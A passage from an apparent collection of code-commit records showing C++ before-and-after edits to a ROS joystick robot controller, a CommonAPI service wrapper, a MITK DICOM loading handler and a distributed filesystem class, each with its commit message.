msg->axes[0];\n float theta = msg->axes[3];\n moveSrv.request.norm_velocity.x = x;\n moveSrv.request.norm_velocity.y = y;\n moveSrv.request.norm_velocity.theta = theta;\n }\n}\n\nvoid JoyRemote::sendCmd() {\n if (wakeUpFlag) {\n this->wakeUp();\n } else if (moveInitFlag) {\n this->moveInit();\n } else if (standFlag) {\n this->stand();\n } else if (restFlag) {\n this->rest();\n } else {moveTowardClient.call(moveSrv);}\n}\n\nvoid JoyRemote::wakeUp() {\n wakeUpClient.call(wakeUpSrv);\n wakeUpFlag = false;\n}\n\nvoid JoyRemote::moveInit() {\n moveInitClient.call(moveInitSrv);\n moveInitFlag = false;\n}\n\nvoid JoyRemote::stand() {\n wakeUpClient.call(wakeUpSrv);\n standSrv.request.posture_name = \"Stand\";\n standClient.call(standSrv);\n moveInitClient.call(moveInitSrv);\n standFlag = false;\n}\n\nvoid JoyRemote::rest() {\n stopMoveClient.call(stopSrv);\n sleep(0.25);\n moveInitClient.call(moveInitSrv);\n sleep(0.25);\n restClient.call(restSrv);\n restFlag = false;\n}\n\nint main(int argc, char *argv[]) {\n ros::init(argc, argv, \"JoyRemote\");\n ros::NodeHandle nh;\n\n JoyRemote joyTest(&nh);\n\n ros::Rate r(5);\n\n while (ros::ok()) {\n joyTest.sendCmd();\n ros::spinOnce();\n r.sleep();\n }\n\n return 0;\n}\n\n<commit_msg>Add check if first required service is available for remote control<commit_after>\/*\n* @Copyright: Copyright[2015]<Alejandro Bordallo>\n* @Date: 2015-05-17\n* @Email: alex.bordallo@ed.ac.uk\n* @Desc: Joystick remote control node\n*\/\n\n#include \"joy_remote.h\"\n\nJoyRemote::JoyRemote(ros::NodeHandle* nh) {\n nh_ = nh;\n joy_sub_ = nh_->subscribe(\"joy\", 1000, &JoyRemote::joyCallback, this);\n moveTowardClient = nh_->serviceClient<motion::MoveToward>(\n \"\/motion\/move_toward\", true);\n moveTowardClient.waitForExistence();\n wakeUpClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/wake_up\", true);\n moveInitClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/move_init\", true);\n standClient = nh_->serviceClient<motion::SetPosture>(\n \"\/motion\/goto_posture\", true);\n restClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/rest\", true);\n stopMoveClient = nh_->serviceClient<std_srvs::Empty>(\n \"\/motion\/stop_move\", true);\n INFO(\"Joystick remote node initialised\" << std::endl);\n wakeUpFlag = false;\n moveInitFlag = false;\n standFlag = false;\n restFlag = false;\n standSrv.request.speed = 1.0f;\n}\n\nJoyRemote::~JoyRemote() {\n ros::shutdown();\n}\n\nvoid JoyRemote::joyCallback(const sensor_msgs::Joy::ConstPtr& msg) {\n if (msg->buttons[1]) {\n wakeUpFlag = true;\n } else if (msg->buttons[2]) {\n moveInitFlag = true;\n } else if (msg->buttons[3]) {\n standFlag = true;\n } else if (msg->buttons[0]) {\n restFlag = true;\n } else {\n float x = msg->axes[1];\n float y = msg->axes[0];\n float theta = msg->axes[3];\n moveSrv.request.norm_velocity.x = x;\n moveSrv.request.norm_velocity.y = y;\n moveSrv.request.norm_velocity.theta = theta;\n }\n}\n\nvoid JoyRemote::sendCmd() {\n if (wakeUpFlag) {\n this->wakeUp();\n } else if (moveInitFlag) {\n this->moveInit();\n } else if (standFlag) {\n this->stand();\n } else if (restFlag) {\n this->rest();\n } else {moveTowardClient.call(moveSrv);}\n}\n\nvoid JoyRemote::wakeUp() {\n wakeUpClient.call(wakeUpSrv);\n wakeUpFlag = false;\n}\n\nvoid JoyRemote::moveInit() {\n moveInitClient.call(moveInitSrv);\n moveInitFlag = false;\n}\n\nvoid JoyRemote::stand() {\n wakeUpClient.call(wakeUpSrv);\n standSrv.request.posture_name = \"Stand\";\n standClient.call(standSrv);\n moveInitClient.call(moveInitSrv);\n standFlag = false;\n}\n\nvoid JoyRemote::rest() {\n stopMoveClient.call(stopSrv);\n sleep(0.25);\n moveInitClient.call(moveInitSrv);\n sleep(0.25);\n restClient.call(restSrv);\n restFlag = false;\n}\n\nint main(int argc, char *argv[]) {\n ros::init(argc, argv, \"JoyRemote\");\n ros::NodeHandle nh;\n\n JoyRemote joyTest(&nh);\n\n ros::Rate r(5);\n\n while (ros::ok()) {\n joyTest.sendCmd();\n ros::spinOnce();\n r.sleep();\n }\n\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file CommonAPIService.hpp\n * @author Denis Kotov\n * @date 3 Apr 2017\n * @brief Contains CommonAPIService wrapper class for creating service\n * @copyright MIT License. Open source: https:\/\/github.com\/redradist\/Inter-Component-Communication.git\n *\/\n\n#ifndef ICC_COMMONAPISERVICE_HPP\n#define ICC_COMMONAPISERVICE_HPP\n\n#include <CommonAPI\/CommonAPI.hpp>\n#include <helpers\/concept_base_of_template.hpp>\n\nnamespace icc {\n\nnamespace commonapi {\n\ntemplate<typename Service>\nclass CommonAPIService\n : public Service {\n static_assert(icc::helpers::is_base_of_template<Service, CommonAPI::Stub>::value,\n \"Service does not derived from CommonAPI::Stub\");\n public:\n CommonAPIService() = default;\n CommonAPIService(const std::string &_domain,\n const std::string &_instance)\n : domain_(_domain),\n instance_(_instance) {\n registerService(domain_, instance_);\n }\n\n CommonAPIService(CommonAPIService const &_service) = delete;\n CommonAPIService(const Service &_service) = delete;\n\n ~CommonAPIService() {\n unregisterService();\n }\n\n public:\n bool registerService(const std::string &_domain,\n const std::string &_instance) {\n if (!is_registered) {\n std::shared_ptr<CommonAPI::Runtime> runtime = CommonAPI::Runtime::get();\n service_ = std::shared_ptr<Service>(this, [](Service *) {\n \/\/ Do nothing to prevent double deletion\n });\n if (service_) {\n is_registered = runtime->registerService(_domain, _instance, service_);\n if (is_registered) {\n domain_ = _domain;\n instance_ = _instance;\n }\n }\n }\n return is_registered;\n }\n\n bool unregisterService() {\n if (is_registered) {\n std::shared_ptr<CommonAPI::Runtime> runtime = CommonAPI::Runtime::get();\n if (!(is_registered = !runtime->unregisterService(domain_, this->getStubAdapter()->getInterface(), instance_))) {\n service_ = nullptr;\n }\n }\n return !is_registered;\n }\n\n private:\n bool is_registered = false;\n std::string domain_;\n std::string instance_;\n std::shared_ptr<Service> service_ = nullptr;\n};\n\n}\n\n}\n\n#endif \/\/ ICC_COMMONAPISERVICE_HPP\n<commit_msg>Improved registring of services<commit_after>\/**\n * @file CommonAPIService.hpp\n * @author Denis Kotov\n * @date 3 Apr 2017\n * @brief Contains CommonAPIService wrapper class for creating service\n * @copyright MIT License. Open source: https:\/\/github.com\/redradist\/Inter-Component-Communication.git\n *\/\n\n#ifndef ICC_COMMONAPISERVICE_HPP\n#define ICC_COMMONAPISERVICE_HPP\n\n#include <CommonAPI\/CommonAPI.hpp>\n#include <helpers\/concept_base_of_template.hpp>\n\nnamespace icc {\n\nnamespace commonapi {\n\ntemplate<typename Service>\nclass CommonAPIService\n : public Service {\n static_assert(icc::helpers::is_base_of_template<Service, CommonAPI::Stub>::value,\n \"Service does not derived from CommonAPI::Stub\");\n public:\n CommonAPIService() = default;\n CommonAPIService(const std::string &_domain,\n const std::string &_instance)\n : domain_(_domain),\n instance_(_instance) {\n registerService(domain_, instance_);\n }\n\n CommonAPIService(CommonAPIService const &_service) = delete;\n CommonAPIService(const Service &_service) = delete;\n\n ~CommonAPIService() {\n unregisterService();\n }\n\n public:\n bool registerService(const std::string &_domain,\n const std::string &_instance) {\n if (!is_registered) {\n std::shared_ptr<CommonAPI::Runtime> runtime = CommonAPI::Runtime::get();\n service_ = std::shared_ptr<Service>(this, [](Service *) {\n \/\/ Do nothing to prevent double deletion\n });\n if (service_) {\n is_registered = runtime->registerService(_domain, _instance, service_);\n if (is_registered) {\n domain_ = _domain;\n instance_ = _instance;\n } else {\n service_ = nullptr;\n }\n }\n }\n return is_registered;\n }\n\n bool unregisterService() {\n if (is_registered) {\n std::shared_ptr<CommonAPI::Runtime> runtime = CommonAPI::Runtime::get();\n if (!(is_registered = !runtime->unregisterService(domain_, this->getStubAdapter()->getInterface(), instance_))) {\n service_ = nullptr;\n }\n }\n return !is_registered;\n }\n\n private:\n bool is_registered = false;\n std::string domain_;\n std::string instance_;\n std::shared_ptr<Service> service_ = nullptr;\n};\n\n}\n\n}\n\n#endif \/\/ ICC_COMMONAPISERVICE_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkPluginActivator.h\"\n#include \"DicomEventHandler.h\"\n#include <service\/event\/ctkEventConstants.h>\n#include <ctkDictionary.h>\n#include <mitkLogMacros.h>\n#include <mitkDicomSeriesReader.h>\n#include <mitkDataNode.h>\n#include <QmitkBaseFunctionalityComponent.h>\n#include <mitkIDataStorageService.h>\n#include <service\/event\/ctkEventAdmin.h>\n#include <ctkServiceReference.h>\n#include <mitkRenderingManager.h>\n\n\nDicomEventHandler::DicomEventHandler() \n{\n}\n\nDicomEventHandler::~DicomEventHandler()\n{\n}\n\nvoid DicomEventHandler::OnSignalAddSeriesToDataManager(const ctkEvent& ctkEvent)\n{\n QString patientName = ctkEvent.getProperty(\"PatientName\").toString();\n QString studyUID = ctkEvent.getProperty(\"StudyUID\").toString();\n QString studyName = ctkEvent.getProperty(\"StudyName\").toString();\n QString seriesUID = ctkEvent.getProperty(\"SeriesUID\").toString();\n QString seriesName = ctkEvent.getProperty(\"SeriesName\").toString();\n QString path = ctkEvent.getProperty(\"Path\").toString(); \n\n std::list<std::string> qualifiedUIDs;\n mitk::DicomSeriesReader::StringContainer seriesToLoad;\n std::size_t found;\n\n mitk::DicomSeriesReader::UidFileNamesMap dicomSeriesMap = mitk::DicomSeriesReader::GetSeries(path.toStdString(),false);\n mitk::DicomSeriesReader::UidFileNamesMap::const_iterator qualifiedSeriesInstanceUIDIterator;\n\n for(qualifiedSeriesInstanceUIDIterator = dicomSeriesMap.begin();\n qualifiedSeriesInstanceUIDIterator != dicomSeriesMap.end();\n ++qualifiedSeriesInstanceUIDIterator)\n {\n found = qualifiedSeriesInstanceUIDIterator->first.find(seriesUID.toStdString());\n if(found!= qualifiedSeriesInstanceUIDIterator->first.npos)\n {\n qualifiedUIDs.push_back(qualifiedSeriesInstanceUIDIterator->first); \n seriesToLoad = qualifiedSeriesInstanceUIDIterator->second;\n }\n }\n\n mitk::DataNode::Pointer node = mitk::DicomSeriesReader::LoadDicomSeries(seriesToLoad);\n if (node.IsNull())\n {\n MITK_ERROR << \"Could not load series: \" << seriesUID.toStdString();\n }\n else\n {\n \/\/Get Reference for default data storage.\n ctkServiceReference serviceReference =mitk::PluginActivator::getContext()->getServiceReference<mitk::IDataStorageService>();\n mitk::IDataStorageService* storageService = mitk::PluginActivator::getContext()->getService<mitk::IDataStorageService>(serviceReference);\n mitk::DataStorage* dataStorage = storageService->GetDefaultDataStorage().GetPointer()->GetDataStorage();\n\n dataStorage->Add(node);\n\n \/\/ Initialize the RenderWindow\n mitk::TimeSlicedGeometry::Pointer geometry = dataStorage->ComputeBoundingGeometry3D(dataStorage->GetAll());\n mitk::RenderingManager::GetInstance()->InitializeViews(geometry);\n\n\n }\n}\n\nvoid DicomEventHandler::OnSignalRemoveSeriesFromStorage(const ctkEvent& ctkEvent)\n{\n}\n\nvoid DicomEventHandler::SubscribeSlots()\n{\n ctkServiceReference ref = mitk::PluginActivator::getContext()->getServiceReference<ctkEventAdmin>();\n if (ref)\n {\n ctkEventAdmin* eventAdmin = mitk::PluginActivator::getContext()->getService<ctkEventAdmin>(ref);\n ctkDictionary properties;\n properties[ctkEventConstants::EVENT_TOPIC] = \"org\/mitk\/gui\/qt\/dicom\/ADD\";\n eventAdmin->subscribeSlot(this, SLOT(OnSignalAddSeriesToDataManager(ctkEvent)), properties);\n properties[ctkEventConstants::EVENT_TOPIC] = \"org\/mitk\/gui\/qt\/dicom\/DELETED\";\n eventAdmin->subscribeSlot(this, SLOT(OnSignalRemoveSeriesFromStorage(ctkEvent)), properties);\n }\n}\n<commit_msg>avoided EventHandler to iterate over the dicom folder another time. DicomSeriesReader::GetSeries() won't be called anymore. Now LoadDicomSeries() is called directly with a list of all files from the series provided due event properies.<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkPluginActivator.h\"\n#include \"DicomEventHandler.h\"\n#include <service\/event\/ctkEventConstants.h>\n#include <ctkDictionary.h>\n#include <mitkLogMacros.h>\n#include <mitkDicomSeriesReader.h>\n#include <mitkDataNode.h>\n#include <QmitkBaseFunctionalityComponent.h>\n#include <mitkIDataStorageService.h>\n#include <service\/event\/ctkEventAdmin.h>\n#include <ctkServiceReference.h>\n#include <mitkRenderingManager.h>\n#include <QVector>\n\n\nDicomEventHandler::DicomEventHandler() \n{\n}\n\nDicomEventHandler::~DicomEventHandler()\n{\n}\n\nvoid DicomEventHandler::OnSignalAddSeriesToDataManager(const ctkEvent& ctkEvent)\n{\n QStringList listOfFilesForSeries;\n mitk::DicomSeriesReader::StringContainer seriesToLoad;\n\n listOfFilesForSeries = ctkEvent.getProperty(\"FilesForSeries\").toStringList();\n\n if (!listOfFilesForSeries.isEmpty()){\n\n QStringListIterator it(listOfFilesForSeries);\n\n while (it.hasNext())\n {\n seriesToLoad.push_back(it.next().toStdString());\n }\n\n\n mitk::DataNode::Pointer node = mitk::DicomSeriesReader::LoadDicomSeries(seriesToLoad);\n if (node.IsNull())\n {\n MITK_ERROR << \"Error loading series: \" << ctkEvent.getProperty(\"SeriesName\").toString().toStdString()\n << \" id: \" <<ctkEvent.getProperty(\"SeriesUID\").toString().toStdString();\n }\n else\n {\n \/\/Get Reference for default data storage.\n ctkServiceReference serviceReference =mitk::PluginActivator::getContext()->getServiceReference<mitk::IDataStorageService>();\n mitk::IDataStorageService* storageService = mitk::PluginActivator::getContext()->getService<mitk::IDataStorageService>(serviceReference);\n mitk::DataStorage* dataStorage = storageService->GetDefaultDataStorage().GetPointer()->GetDataStorage();\n\n dataStorage->Add(node);\n\n \/\/ Initialize the RenderWindow\n mitk::TimeSlicedGeometry::Pointer geometry = dataStorage->ComputeBoundingGeometry3D(dataStorage->GetAll());\n mitk::RenderingManager::GetInstance()->InitializeViews(geometry);\n }\n }\n else\n {\n MITK_INFO << \"There are no files for the current series\";\n }\n}\n\nvoid DicomEventHandler::OnSignalRemoveSeriesFromStorage(const ctkEvent& ctkEvent)\n{\n}\n\nvoid DicomEventHandler::SubscribeSlots()\n{\n ctkServiceReference ref = mitk::PluginActivator::getContext()->getServiceReference<ctkEventAdmin>();\n if (ref)\n {\n ctkEventAdmin* eventAdmin = mitk::PluginActivator::getContext()->getService<ctkEventAdmin>(ref);\n ctkDictionary properties;\n properties[ctkEventConstants::EVENT_TOPIC] = \"org\/mitk\/gui\/qt\/dicom\/ADD\";\n eventAdmin->subscribeSlot(this, SLOT(OnSignalAddSeriesToDataManager(ctkEvent)), properties);\n properties[ctkEventConstants::EVENT_TOPIC] = \"org\/mitk\/gui\/qt\/dicom\/DELETED\";\n eventAdmin->subscribeSlot(this, SLOT(OnSignalRemoveSeriesFromStorage(ctkEvent)), properties);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright (c) 2015 Jamis Hoo\n * Distributed under the MIT license \n * (See accompanying file LICENSE or copy at http:\/\/opensource.org\/licenses\/MIT)\n * \n * Project: \n * Filename: user_fs.cc \n * Version: 1.0\n * Author: Jamis Hoo\n * E-mail: hoojamis@gmail.com\n * Date: Jun 4, 2015\n * Time: 22:52:30\n * Description: main class of this GSFS\n *****************************************************************************\/\n#include \"user_fs.h\"\n#include <stdexcept>\n#include \"bytes_order.h\"\n\n\n \/\/ calling order of functions below:\n \/\/ master node: setMaster -> initDirTree -> initHost -> initTCPNetwork\n \/\/ slave node: initDirTree -> initHost -> initTCPNetwork\n\n void UserFS::setMaster() { _host_id = 1; }\n\n void UserFS::initHost(const std::string& addr, const uint16_t tcp_port, const uint16_t ssh_port) {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n\n \/\/ this functions should only be called when program initializes\n \n Hosts::Host host;\n host.id = _host_id;\n host.address = addr;\n host.mountdir = _dir;\n host.tmpdir = _tmpdir;\n host.tcp_port = tcp_port;\n host.ssh_port = ssh_port;\n\n \/\/ push self's host at 0\n _hosts.push(host);\n }\n\n \/\/ this function may throw exceptions\n void UserFS::initDirTree(const std::string& dir, const std::string& tmpdir) {\n using namespace boost::filesystem;\n\n boost::unique_lock< boost::shared_mutex > lock(_access);\n\n if (!exists(dir))\n throw std::invalid_argument(dir + \" not exists. \");\n\n if (!is_directory(dir))\n throw std::invalid_argument(dir + \" is not directory. \");\n \n if (exists(tmpdir \/ dir)) \n throw std::invalid_argument(std::string(\"Assert \") + path(tmpdir \/ dir).string() + \" not exists. \");\n\n if (!is_directory(dir))\n throw std::invalid_argument(dir + \" is not directory. \");\n\n if (!create_directory(tmpdir \/ dir))\n throw std::invalid_argument(std::string(\"Failed creating directory \") + path(tmpdir \/ dir).string() + \".\");\n \n _tmpdir = absolute(tmpdir).string();\n _dir = dir;\n\n _dir_tree.initialize();\n _dir_tree.root()->type = DirTree::TreeNode::DIRECTORY;\n \/\/ It seems there's is a portable way to get dir size, just set it to 0\n \/\/ If anybody knows how to do that, please tell me. Thanks.\n _dir_tree.root()->size = 0;\n _dir_tree.root()->host_id = _host_id;\n _dir_tree.root()->mtime = last_write_time(dir);\n _dir_tree.root()->num_links = hard_link_count(dir);\n\n std::function< void (const path&, const path&, const DirTree::TreeNode&) > traverseDirectory;\n traverseDirectory = [this, &traverseDirectory]\n (const path& dir, const path& _tmpdir, const DirTree::TreeNode& parent)->void {\n for (auto& f: directory_iterator(dir)) {\n auto file_type = symlink_status(f).type();\n\n decltype(DirTree::TreeNode::type) treenode_type;\n\n switch (file_type) {\n case file_type::directory_file: \n treenode_type = DirTree::TreeNode::DIRECTORY;\n break;\n case file_type::regular_file: \n treenode_type = DirTree::TreeNode::REGULAR;\n break;\n case file_type::character_file:\n treenode_type = DirTree::TreeNode::CHRDEVICE;\n break;\n case file_type::block_file:\n treenode_type = DirTree::TreeNode::BLKDEVICE;\n break;\n case file_type::fifo_file:\n treenode_type = DirTree::TreeNode::FIFO;\n break;\n case file_type::symlink_file:\n treenode_type = DirTree::TreeNode::SYMLINK;\n break;\n case file_type::socket_file:\n treenode_type = DirTree::TreeNode::SOCKET;\n break;\n case file_type::type_unknown:\n default:\n treenode_type = DirTree::TreeNode::UNKNOWN;\n }\n \n\n if (treenode_type == DirTree::TreeNode::UNKNOWN)\n continue;\n else if (treenode_type == DirTree::TreeNode::DIRECTORY) {\n create_directory(_tmpdir \/ f.path());\n\n DirTree::TreeNode dirnode;\n dirnode.type = treenode_type;\n dirnode.name = f.path().filename().string();\n dirnode.size = 0;\n dirnode.mtime = last_write_time(f.path());\n dirnode.host_id = _host_id;\n dirnode.num_links = hard_link_count(f.path());\n\n auto insert_rtv = parent.children.insert(dirnode);\n\n traverseDirectory(f, _tmpdir, *(insert_rtv.first));\n } else {\n \/\/ create hard link (src, dst)\n create_hard_link(f, _tmpdir \/ f.path());\n\n DirTree::TreeNode filenode;\n filenode.type = treenode_type;\n filenode.name = f.path().filename().string();\n filenode.size = file_size(f);\n filenode.mtime = last_write_time(f.path());\n filenode.host_id = _host_id;\n \/\/ GSFS create another hard link for files except directory\n filenode.num_links = 1 + hard_link_count(f.path());\n\n parent.children.insert(filenode);\n }\n }\n };\n\n traverseDirectory(_dir, _tmpdir, *_dir_tree.root());\n }\n\n \/\/ returns true on error\n bool UserFS::initTCPNetwork(const std::string& addr, const uint16_t port) {\n bool is_master = _host_id == 1;\n\n bool init_rtv = _tcp_manager.initialize(is_master, addr, port);\n\n if (init_rtv) return 1;\n\n _tcp_manager.start();\n\n \/\/ push master's host\n if (is_master) \n _hosts.push(_hosts[0]);\n \/\/ else wait for master's recognition or rejection\n else {\n std::string dir_tree_seq;\n std::string host_seq;\n\n {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n dir_tree_seq = DirTree::serialize(_dir_tree);\n host_seq = Hosts::Host::serialize(_hosts[0]);\n }\n\n std::string dir_tree_seq_len = host_to_network_64(dir_tree_seq.length());\n std::string host_seq_len = host_to_network_64(host_seq.length());\n std::string protocol_type = host_to_network_64(0x00);\n\n std::string message = protocol_type +\n dir_tree_seq_len + dir_tree_seq +\n host_seq_len + host_seq;\n\n _tcp_manager.write(message);\n\n _slave_wait_sem.wait();\n }\n\n return 0;\n }\n\n const DirTree::TreeNode* UserFS::find(const std::string& path) {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n return _dir_tree.find(path);\n }\n\n \/\/ returns num of bytes read on success\n \/\/ returns < 0 on error\n intmax_t UserFS::read(const uint64_t node_id, const std::string path, \n const size_t offset, const size_t size, char* buff) {\n \/\/ remote node isn't inserted into ssh manager\n if (!_ssh_manager.findHost(node_id)) {\n bool rtv = _ssh_manager.insertHost(node_id, _hosts[node_id].address, _hosts[node_id].ssh_port);\n if (rtv) return -1;\n }\n \n boost::filesystem::path remote_path = _hosts[node_id].tmpdir;\n remote_path \/= _hosts[node_id].mountdir;\n remote_path \/= path;\n\n std::string remote_path_string = remote_path.string();\n\n \/\/ read local file\n if (node_id == _host_id) {\n std::ifstream fin(remote_path_string);\n fin.seekg(offset);\n fin.read(buff, size);\n if (fin.fail() || fin.bad()) return -1;\n size_t bytes_read = fin.gcount();\n return bytes_read;\n }\n\n \/\/ read remote file\n return _ssh_manager.read(node_id, remote_path_string, offset, size, buff);\n }\n\n \/\/ send update packet to all slaves\n void UserFS::sendUpdate() {\n std::string dir_tree_seq;\n std::string hosts_seq;\n\n {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n dir_tree_seq = DirTree::serialize(_dir_tree);\n hosts_seq = Hosts::serialize(_hosts);\n }\n\n sendUpdate(dir_tree_seq, hosts_seq);\n }\n\n void UserFS::sendUpdate(const std::string& dir_tree_seq, const std::string& hosts_seq) {\n std::string message = host_to_network_64(0x02);\n message += host_to_network_64(dir_tree_seq.length());\n message += dir_tree_seq;\n message += host_to_network_64(hosts_seq.length());\n message += hosts_seq;\n\n \/\/ send to all slaves\n _tcp_manager.write(message);\n }\n\n \/\/ Callback Functions for slaves' tcp manager:\n\n \/\/ slave get recognized from master\n void UserFS::slaveRecognized(const uint64_t slave_id, const std::string& dir_tree_seq, const std::string& hosts_seq) {\n \/\/ deploy dir tree\n DirTree merged_tree = DirTree::deserialize(dir_tree_seq);\n \n \/\/ deploy hosts\n _host_id = slave_id;\n Hosts merged_hosts = Hosts::deserialize(hosts_seq);\n \n {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.root()->children = merged_tree.root()->children;\n _hosts = merged_hosts;\n }\n \/\/ wake up main thread\n _slave_wait_sem.post();\n }\n\n \/\/ master sent a update packet, update dirtree and hosts\n void UserFS::updateInfo(const std::string& dir_tree_seq, const std::string& hosts_seq) {\n DirTree new_tree = DirTree::deserialize(dir_tree_seq);\n Hosts merged_hosts = Hosts::deserialize(hosts_seq);\n\n {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.root()->children = new_tree.root()->children;\n _hosts = merged_hosts;\n }\n }\n\n\n \/\/ connect failed or slave disconnect from master\n void UserFS::disconnect() {\n \/\/ clear dir tree\n { \n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.removeNotOf(_host_id);\n }\n }\n\n\n \/\/ Callback Functions for master' tcp manager:\n\n \/\/ slave disconnect from master\n void UserFS::disconnect(const TCPMasterMessager::Connection::iterator handle) {\n uint64_t& slave_id = std::get<4>(*handle);\n\n \/\/ slave is initializting\n if (slave_id == 0) return;\n\n \/\/ remove this slave's node in dir tree\n {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.removeOf(slave_id);\n }\n\n slave_id = 0;\n sendUpdate();\n }\n\n \/\/ new slave coming, chekc dirtree, allocate host_id, merge dir_tree and hosts\n void UserFS::newConnection(const std::string& dir_tree_seq, \n const std::string& host_seq, \n const TCPMasterMessager::Connection::iterator handle) {\n \/\/ deserialize\n DirTree slave_dir_tree = DirTree::deserialize(dir_tree_seq);\n Hosts::Host slave_host = Hosts::Host::deserialize(host_seq);\n\n \/\/ check conflicts\n std::vector<std::string> conflicts;\n \n {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n conflicts = _dir_tree.hasConflict(slave_dir_tree);\n }\n \n \/\/ there's conflict, close connection\n if (conflicts.size()) return _tcp_manager.close(handle);\n \/\/ else\n\n \/\/ alloc slave id\n uint64_t slave_id = _max_host_id++;\n slave_host.id = slave_id;\n slave_dir_tree.root()->setHostID(slave_id);\n\n std::get<4>(*handle) = slave_id;\n \n {\n boost::unique_lock< boost::shared_mutex > lock(_access); \n\n \/\/ merge dir tree\n _dir_tree.merge(slave_dir_tree);\n \n \/\/ merge host \n _hosts.push(slave_host);\n }\n\n\n \/\/ construct response message\n\n std::string merged_dir_tree_seq;\n std::string merged_hosts_seq;\n\n { \n boost::shared_lock< boost::shared_mutex > lock(_access);\n merged_dir_tree_seq = DirTree::serialize(_dir_tree);\n merged_hosts_seq = Hosts::serialize(_hosts);\n }\n\n std::string merged_dir_tree_seq_len = host_to_network_64(merged_dir_tree_seq.length());\n std::string merged_hosts_seq_len = host_to_network_64(merged_hosts_seq.length());\n std::string protocol_type = host_to_network_64(0x01);\n std::string slave_id_seq = host_to_network_64(slave_id);\n\n std::string message = protocol_type + slave_id_seq +\n merged_dir_tree_seq_len + merged_dir_tree_seq +\n merged_hosts_seq_len + merged_hosts_seq;\n\n \/\/ send to slave\n _tcp_manager.writeTo(message, handle);\n sendUpdate(merged_dir_tree_seq, merged_hosts_seq);\n }\n\n\n\n\n\n<commit_msg>adjust indent<commit_after>\/******************************************************************************\n * Copyright (c) 2015 Jamis Hoo\n * Distributed under the MIT license \n * (See accompanying file LICENSE or copy at http:\/\/opensource.org\/licenses\/MIT)\n * \n * Project: \n * Filename: user_fs.cc \n * Version: 1.0\n * Author: Jamis Hoo\n * E-mail: hoojamis@gmail.com\n * Date: Jun 4, 2015\n * Time: 22:52:30\n * Description: main class of this GSFS\n *****************************************************************************\/\n#include \"user_fs.h\"\n#include <stdexcept>\n#include \"bytes_order.h\"\n\n\n\/\/ calling order of functions below:\n\/\/ master node: setMaster -> initDirTree -> initHost -> initTCPNetwork\n\/\/ slave node: initDirTree -> initHost -> initTCPNetwork\n\nvoid UserFS::setMaster() { _host_id = 1; }\n\nvoid UserFS::initHost(const std::string& addr, const uint16_t tcp_port, const uint16_t ssh_port) {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n\n \/\/ this functions should only be called when program initializes\n \n Hosts::Host host;\n host.id = _host_id;\n host.address = addr;\n host.mountdir = _dir;\n host.tmpdir = _tmpdir;\n host.tcp_port = tcp_port;\n host.ssh_port = ssh_port;\n\n \/\/ push self's host at 0\n _hosts.push(host);\n}\n\n\/\/ this function may throw exceptions\nvoid UserFS::initDirTree(const std::string& dir, const std::string& tmpdir) {\n using namespace boost::filesystem;\n\n boost::unique_lock< boost::shared_mutex > lock(_access);\n\n if (!exists(dir))\n throw std::invalid_argument(dir + \" not exists. \");\n\n if (!is_directory(dir))\n throw std::invalid_argument(dir + \" is not directory. \");\n \n if (exists(tmpdir \/ dir)) \n throw std::invalid_argument(std::string(\"Assert \") + path(tmpdir \/ dir).string() + \" not exists. \");\n\n if (!is_directory(dir))\n throw std::invalid_argument(dir + \" is not directory. \");\n\n if (!create_directory(tmpdir \/ dir))\n throw std::invalid_argument(std::string(\"Failed creating directory \") + path(tmpdir \/ dir).string() + \".\");\n \n _tmpdir = absolute(tmpdir).string();\n _dir = dir;\n\n _dir_tree.initialize();\n _dir_tree.root()->type = DirTree::TreeNode::DIRECTORY;\n \/\/ It seems there's is a portable way to get dir size, just set it to 0\n \/\/ If anybody knows how to do that, please tell me. Thanks.\n _dir_tree.root()->size = 0;\n _dir_tree.root()->host_id = _host_id;\n _dir_tree.root()->mtime = last_write_time(dir);\n _dir_tree.root()->num_links = hard_link_count(dir);\n\n std::function< void (const path&, const path&, const DirTree::TreeNode&) > traverseDirectory;\n traverseDirectory = [this, &traverseDirectory]\n (const path& dir, const path& _tmpdir, const DirTree::TreeNode& parent)->void {\n for (auto& f: directory_iterator(dir)) {\n auto file_type = symlink_status(f).type();\n\n decltype(DirTree::TreeNode::type) treenode_type;\n\n switch (file_type) {\n case file_type::directory_file: \n treenode_type = DirTree::TreeNode::DIRECTORY;\n break;\n case file_type::regular_file: \n treenode_type = DirTree::TreeNode::REGULAR;\n break;\n case file_type::character_file:\n treenode_type = DirTree::TreeNode::CHRDEVICE;\n break;\n case file_type::block_file:\n treenode_type = DirTree::TreeNode::BLKDEVICE;\n break;\n case file_type::fifo_file:\n treenode_type = DirTree::TreeNode::FIFO;\n break;\n case file_type::symlink_file:\n treenode_type = DirTree::TreeNode::SYMLINK;\n break;\n case file_type::socket_file:\n treenode_type = DirTree::TreeNode::SOCKET;\n break;\n case file_type::type_unknown:\n default:\n treenode_type = 